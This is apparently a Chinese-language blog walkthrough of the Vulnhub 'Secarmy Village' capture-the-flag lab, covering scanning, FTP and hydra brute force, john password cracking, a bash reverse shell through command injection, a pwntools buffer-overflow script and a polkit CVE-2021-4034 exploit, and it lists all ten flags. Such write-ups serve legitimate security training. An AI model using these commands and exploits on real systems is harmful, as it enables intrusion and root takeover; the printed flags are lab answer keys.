【渗透测试】Vulnhub靶机-Secarmy Village: Grayhat Conference-详细通关教程

下载网站:https://www.vulnhub.com/entry/secarmy-village-grayhat-conference,585/

前言

在开始前先看下载网址里的靶机简介,得知有10个flag需要收集,同时若ip未显示就登录到测试用户cero中,当然也可以参考之前的靶机无法获取ip的文章 → 解决靶机ip问题

本次虚拟机ip:
    kali主机:192.168.4.252
    vulnhub靶机:192.168.4.227

端口扫描

1.首先用kali的nmap进行端口扫描,有ftp、ssh和http开放,ftp可以匿名登录

nmap -sSV -O -A -p- 192.168.4.227

 

渗透过程

匿名登录

1.先匿名登录ftp,发现没有任何目录,无结果

目录扫描(uno - flag1)

1.还是从http入手吧,进入网站,文本大概意思就是要找出隐藏的目录进入机器

2.用dirsearch扫不出来隐藏目录,换成gobuster,发现有个/anon目录

3.进入/anon,可以按F12或Ctrl+a全选,看见有个账户名称和密码,用来进行ftp,登录成功

4.在下载前我建议先在kali目前的目录中新建一个文件夹,把这些文件等放进去(因为后面渗透要下的文件很多,统一放在一个文件夹中),查看flag1.txt,成功拿到第一个flag

hydra爆破(dos)

1.在刚刚uno的ftp中,我们可以切换到上一个目录,发现一共有10个用户(cero是测试)

2.然后刚刚除了flag1.txt外,还有个readme.txt文件,我们查看下,是一个密码凭证,但不知道是哪个用户的,所以我们可以爆破下

3.把那10个用户全写在一个users.txt中,进行hydra爆破

cero
cinco
cuatro
dos
nueve
ocho
seis
siete
tres
uno
hydra -L users.txt -p 4b3l4rd0fru705 192.168.4.227 ftp

4.爆破出用户名为dos,登录ftp后下载文件

5.由于files是个目录,且里面文件很多,需要mget *来下载,但同时要用prompt关闭交互模式就不用一直回车(同样最好再新建个文件夹装这些文件)

查找文件(flag2)

1.先查看1337.txt,应该是要通过nc连接靶机的1337端口,我们可以使用该命令来连接,连接后需要token,目前没找到所以先跳过

nc -nv 192.168.4.227 1337

2.再看到readme.txt,说需要在files这个目录里的一堆文件中找到有'a8211ac1853a1235d48829414626512a'这字符串

3.这么多文件找起来太麻烦了,我们可以写个py脚本来帮我们找到对应文件

import re
def find_str(num):
    file_text = open(f'ftp-dir/file{num}.txt').readlines()
    pattern = re.compile(r'^.*'+'a8211ac1853a1235d48829414626512a'+r'.*$')
    for line in file_text:
        if pattern.search(line):
            print('file'+str(num)+'.txt')
            break

if __name__ == '__main__':
    for i in range(0,5001):
        find_str(i)

4.查看file4444.txt,最后一行又提示我们查看file3131.txt,再去查看该文件发现最后那块有堆编码

5.看样子应该是base64,这里推荐一个网站,直接将base64解码并转换成文件 → base64解码转文件,点击base64 decode发现是个zip压缩包,再点击zip文件进行另存为

6.解压后发现两个文件,成功获得flag2

upx脱壳(tres cuatro - flag3 flag4)

1.查看todo.txt,有token了,拿来连接1337端口,连接后弹出tres用户密码

2.拿来进行ftp登录,下载这三个文件

3.查看flag3.txt,又拿到一个!

4.查看readme.txt,主要看第一句提示,说secarmy-village里有第四个用户凭证,用strings查看发现应该是upx加壳了,使用以下命令进行脱壳

upx -d secarmy-village

5.脱壳后再用strings查看,一直往下拖发现这句后面就是第四个用户凭证

6.拿着cuatro的凭证登录ftp,下载这两个文件,获得flag4

扫码(cinco - flag5)

1.查看todo.txt,提供了网站的一个隐藏目录/justanothergallery,进去看看,一堆二维码

2.可以用手机一个个扫,但如果有打过ctf杂项的小伙伴就肯定有QR_Research这个工具,可以用这工具全屏解码下,最后在image-53.png扫出来cinco用户凭证

3.同样进行ftp登录,下载文件,获得flag5

rockyou爆破(seis - flag6)

1.查看readme.txt,提示在房子外面找Cinco的秘密地方

2.一开始以为在ftp里的.local/share/nano里面,但无果,那应该是在ssh那边了,同样用户名密码登录

3.我们通过find或者到根目录查看,发现有个/cincos-secrets目录,进去有俩文件,通过hint知道要用rockyou字典爆破shadow.bak

find / -user cinco 2>/dev/null

 

4.先赋予权限给shadow.bak,再通过kali的scp下载它

scp cinco@192.168.4.227:/cincos-secrets/shadow.bak /root/vulnhub

5.通过john爆破,爆出一个用户凭证

john --wordlist=~/rockyou.txt shadow.bak

 

6.登录到ftp,下载文件,获得flag6

反弹shell

1.查看readme.txt,同样提示有个/shellcmsdashboard隐藏目录,登进去是个登录页面

2.我们用dirsearch扫描以下,发现有个robots.txt,进去看看,泄露了用户名和密码

3.登录后提示前往/aabbzzee.php,进去后是个搜索框,但输入ls命令时可以执行的

4.那就好办了,直接用bash反弹shell(当然也可以直接在搜索框查看)

bash -c "bash -i >& /dev/tcp/192.168.4.252/6666 0>&1"

异或转换(siete ocho - flag7 flag8)

1.查看readme9213.txt,但访问不了,需要赋予可读权限,再次访问又是密码

2.进行hydra爆破,爆破出siete,登录ftp发现有六个文件,直接mget *下载

3.下载后获得flag7

4.分别查看以下文件,base10跟base256加起来是base256,容易误解为and运算,但其实这里是xor异或

5.通过key.txt里的x,十进制为120,对于每个字节,我们执行xor并将得到的结果通过函数chr来转换成字符从而形成字符串

python -c 'print("".join([chr(x ^ 120) for x in bytearray([11,29,27,25,10,21,1,0,23,10,17,12,13,8])]))'

6.将解出来的字符串来解压加密的password.zip,解压出来查看,又是个密码凭证

7.同样进行hydra爆破,获得ocho用户,登录ftp并下载文件

8.获得flag8

报文分析解密(nueve - flag9)

1.有个keyboard报文,用wireshark打开下,主要看http,在过滤器输入http.request.method==GET,看到有个none.txt

2.右击none.txt选择追踪http流,往下拖有串可疑的字符串,拿去爆破但无效

3.想了想它这密码也不符合前面的用户密码凭证的格式,且报文名叫keyboard(键盘),有没有可能是键盘相关的编码呢?这里有个键盘移位解密网站,复制过去按DECRYPT,看见下图红框处有nueve密码凭证

4.使用ftp登录,下载文件,获得flag9

提权(flag10)

① 反编译orangutan

1.看了下readme.txt,无提示,就是要通过orangutan来提权,这里我对二进制不熟悉,所以根据国外wp做的,先反编译查看该代码

undefined8 main(void)
{
    char local_28 [24];
    long local_10;
    local_10 = 0;
    setbuf(stdout,(char *)0x0);
    setbuf(stdin,(char *)0x0);
    setbuf(stderr,(char *)0x0);
    puts("hello pwner ");
    puts("pwnme if u can ;) ");
    gets(local_28);
    if (local_10 == 0xcafebabe) {
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        execvp("/bin/sh",(char **)0x0);
    }
    return 0;
}

 2.只要local_10==0xcafebabe即可获得root shell,所以我们要用值覆盖long这个变量,先通过靶机用socat命令开启8000端口监听

socat TCP-LISTEN:8000 EXEC:./orangutan

3. 接着在kali编写py脚本,以相反的顺序发送所需的值,这里借用国外wp的脚本 ↓

from pwn import *
offset = b"A" * 24
secret = b"\xbe\xba\xfe\xca"
payload = offset + secret
conn = remote('192.168.4.227',8000)
print(conn.recvline())
print(conn.recvline())
conn.sendline(payload)
conn.interactive()

 

4.成功到达root系统后,切换到/root,获得flag10,至此收集完毕

② polkit提权

1.如果有小伙伴不会二进制、反编译的话,可以用polkit提权,很多vulnhub靶机往往都可以用polkit来提权

2.kali通过wget下载CVE-2021-4034并解压

wget https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip

3. 将cve2021-4034.py通过scp上传到靶机中

4.赋予可执行权限后运行,同样可以获得root权限查看flag10

总结

继上次打的The Office: Doomsday Device靶机后又是一个综合性的靶机,同时也用到了些ctf的工具,以及用到二进制的知识,总的来说这台靶机难度比较容易,渗透思路也是很顺很稳定的,同时也挺有趣的

flag1{fb9e88}
flag2{624a21}
flag3{ac66cf}
flag4{1d6b06}
flag5{b1e870}
flag6{779a25}
flag7{d5c26a}
flag8{5bcf53}
flag9{689d3e}
flag10{33c9661bfd}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值